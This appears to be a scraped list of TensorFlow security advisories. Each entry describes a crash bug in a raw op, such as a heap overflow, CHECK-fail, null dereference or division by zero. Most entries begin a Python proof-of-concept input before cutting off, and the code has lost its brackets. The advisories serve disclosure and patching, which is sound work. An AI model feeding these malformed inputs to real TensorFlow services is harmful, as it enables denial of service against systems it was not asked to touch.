Heap buffer overflow in `SparseTensorToCSRSparseMatrix`

Impact An attacker can trigger a denial of service via a CHECK-fail in converting sparse tensors to CSR Sparse matrices: python import tensorflow as tf import numpy as np from tensorflow.python.ops.linalg.sparse import sparsecsrmatrixops indicesarray = np.array0, 0 valuearray = np.array0.0,...

CHECK-fail in `QuantizeAndDequantizeV4Grad`

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.QuantizeAndDequantizeV4Grad: python import tensorflow as tf gradienttensor = tf.constant0.0, shape=1 inputtensor = tf.constant0.0, shape=1 inputmin = tf.constant0.0, shape=1, 1 inputmax = tf.constant0.0, shape=1, 1...

CHECK-fail in `CTCGreedyDecoder`

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.CTCGreedyDecoder: python import tensorflow as tf inputs = tf.constant, shape=18, 2, 0, dtype=tf.float32 sequencelength = tf.constant-100, 17, shape=2, dtype=tf.int32 mergerepeated = False...

Null pointer dereference in `StringNGrams`

Impact An attacker can trigger a dereference of a null pointer in tf.rawops.StringNGrams: python import tensorflow as tf data=tf.constant'' 11, shape=11, dtype=tf.string splits = 0115 splits.append3 datasplits=tf.constantsplits, shape=116, dtype=tf.int64 tf.rawops.StringNGramsdata=data,...

Segfault in tf.raw_ops.ImmutableConst

Impact Calling tf.rawops.ImmutableConst with a dtype of tf.resource or tf.variant results in a segfault in the implementation as code assumes that the tensor contents are pure scalars. python import tensorflow as tf tf.rawops.ImmutableConstdtype=tf.resource, shape=, memoryregionname="/tmp/test.tx...

Division by zero in `Conv2DBackpropFilter`

Impact An attacker can cause a division by zero to occur in Conv2DBackpropFilter: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32 filtersizes = tf.constant0, 0, 0, 0, shape=4, dtype=tf.int32 outbackprop = tf.constant, shape=0, 0, 0, 0, dtype=tf.float32...

Heap buffer overflow in `QuantizedResizeBilinear`

Impact An attacker can cause a heap buffer overflow in QuantizedResizeBilinear by passing in invalid thresholds for the quantization: python import tensorflow as tf images = tf.constant, shape=0, dtype=tf.qint32 size = tf.constant, shape=0, dtype=tf.int32 min = tf.constant, dtype=tf.float32 max =...

Heap buffer overflow in `QuantizedReshape`

Impact An attacker can cause a heap buffer overflow in QuantizedReshape by passing in invalid thresholds for the quantization: python import tensorflow as tf tensor = tf.constant, dtype=tf.qint32 shape = tf.constant, dtype=tf.int32 inputmin = tf.constant, dtype=tf.float32 inputmax = tf.constant,...

Heap buffer overflow in `QuantizedMul`

Impact An attacker can cause a heap buffer overflow in QuantizedMul by passing in invalid thresholds for the quantization: python import tensorflow as tf x = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 y = tf.constant256, 328, shape=1, 2, dtype=tf.quint8 minx = tf.constant, dtype=tf.float32...

CHECK-fail in SparseConcat

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.SparseConcat: python import tensorflow as tf import numpy as np indices1 = tf.constant514, 514, 514, 514, dtype=tf.int64 indices2 = tf.constant514, 530, 599, 877, dtype=tf.int64 indices = indices1, indices2 values1 =...

Heap out of bounds read in `RaggedCross`

Impact An attacker can force accesses outside the bounds of heap allocated arrays by passing in invalid tensor values to tf.rawops.RaggedCross: python import tensorflow as tf raggedvalues = raggedrowsplits = sparseindices = sparsevalues = sparseshape = denseinputselem = tf.constant, shape=92, 0,...

CHECK-fail in tf.raw_ops.EncodePng

Impact An attacker can trigger a CHECK fail in PNG encoding by providing an empty input tensor as the pixel data: python import tensorflow as tf image = tf.zeros0, 0, 3 image = tf.castimage, dtype=tf.uint8 tf.rawops.EncodePngimage=image This is because the implementation only validates that the...

CHECK-fail in AddManySparseToTensorsMap

Impact An attacker can trigger a denial of service via a CHECK-fail in tf.rawops.AddManySparseToTensorsMap: python import tensorflow as tf import numpy as np sparseindices = tf.constant530, shape=1, 1, dtype=tf.int64 sparsevalues = tf.ones1, dtype=tf.int64 shape = tf.Variabletf.ones55,...

Division by 0 in `Conv3DBackprop*`

Impact The tf.rawops.Conv3DBackprop operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0: python import tensorflow as tf inputsizes = tf.constant0, 0, 0, 0, 0, shape=5, dtype=tf.int32 filtertensor = tf.constant, shape=0, 0, 0, 1, 0,...

Segfault in SparseCountSparseOutput

Impact Specifying a negative dense shape in tf.rawops.SparseCountSparseOutput results in a segmentation fault being thrown out from the standard library as std::vector invariants are broken. python import tensorflow as tf indices = tf.constant, shape=0, 0, dtype=tf.int64 values = tf.constant,...

Division by zero in `Conv3D`

Impact A malicious user could trigger a division by 0 in Conv3D implementation: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 filtertensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 tf.rawops.Conv3Dinput=inputtensor, filter=filtertensor,...

Null pointer dereference via invalid Ragged Tensors

Impact Calling tf.rawops.RaggedTensorToVariant with arguments specifying an invalid ragged tensor results in a null pointer dereference: python import tensorflow as tf inputtensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float32 filtertensor = tf.constant, shape=0, 0, 0, 0, 0, dtype=tf.float3...

Heap buffer overflow in `RaggedBinCount`

Impact If the splits argument of RaggedBincount does not specify a valid SparseTensor, then an attacker can trigger a heap buffer overflow: python import tensorflow as tf tf.rawops.RaggedBincountsplits=0, values=1,1,1,1,1, size=5, weights=1,2,3,4, binaryoutput=False This will cause a read from...

CVE-2021-29591

TensorFlow is an end-to-end open source platform for machine learning. TFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be...

PYSEC-2021-519

TensorFlow is an end-to-end open source platform for machine learning. TFlite graphs must not have loops between nodes. However, this condition was not checked and an attacker could craft models that would result in infinite loop during evaluation. In certain cases, the infinite loop would be...